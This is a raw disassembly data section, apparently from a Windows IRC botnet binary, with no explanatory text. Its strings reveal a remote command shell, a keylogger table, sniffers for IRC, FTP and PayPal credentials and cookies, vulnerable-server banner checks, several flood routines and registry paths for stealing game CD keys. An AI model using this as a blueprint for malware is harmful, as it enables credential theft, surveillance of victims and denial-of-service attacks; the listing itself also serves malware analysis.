db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C db 2Dh ; - ; DATA XREF: sub_410F20+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co
align 4
dword_434BAC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF9+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 10h
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_43551C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
align 4
asc_43554C: ; DATA XREF: ___:00411C40o
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 4
dd offset off_435E10
dd offset off_435E0C
dd offset off_435E08
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:004355A4o
align 4
off_435E08 dd offset word_505446 ; DATA XREF: ___:004355A0o
off_435E0C dd offset dword_435238+11h ; DATA XREF: ___:0043559Co
off_435E10 dd offset word_544F42 ; DATA XREF: ___:00435598o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412361+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412361+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412361+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o
a366 db '366 ',0 ; DATA XREF: sub_412361+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper db 'oper ',0 ; DATA XREF: sub_412478+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o
; sub_4124EE+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412478+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124EE+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412575+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o
align 4
unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360BC db 2Dh ; - ; DATA XREF: sub_412661+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190 db 2Dh ; - ; DATA XREF: sub_412661+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_4361C0 db 2Dh ; - ; DATA XREF: sub_412661+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_436214 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B09+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_43643C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386C+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_43682C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415135+35o
dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
align 4
dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524D:loc_415282o
dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524D+20o
dword_4368A0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:0041536Ao
dd 6574656Ch, 0
dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o
; sub_4157F1+26o
align 4
dd 80000001h
off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
; sub_415A30+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o
dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0)
dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0)
dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0)
dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0)
dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0)
dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0)
dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0)
dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0)
dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0)
dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0)
dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0)
dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0)
dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0)
dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0)
dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0)
dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0)
dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0)
dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0)
dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0)
dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0)
dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0)
dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0)
dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0)
dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0)
dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0)
dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0)
dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0)
dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0)
dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0)
dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0)
dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0)
dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0)
dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0)
dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0)
dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0)
dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0)
dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0)
dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0)
dd 80000002h, 436E94h, 42C914h, 436E7Ch, 2 dup(0)
dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h
dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch
dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h
dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
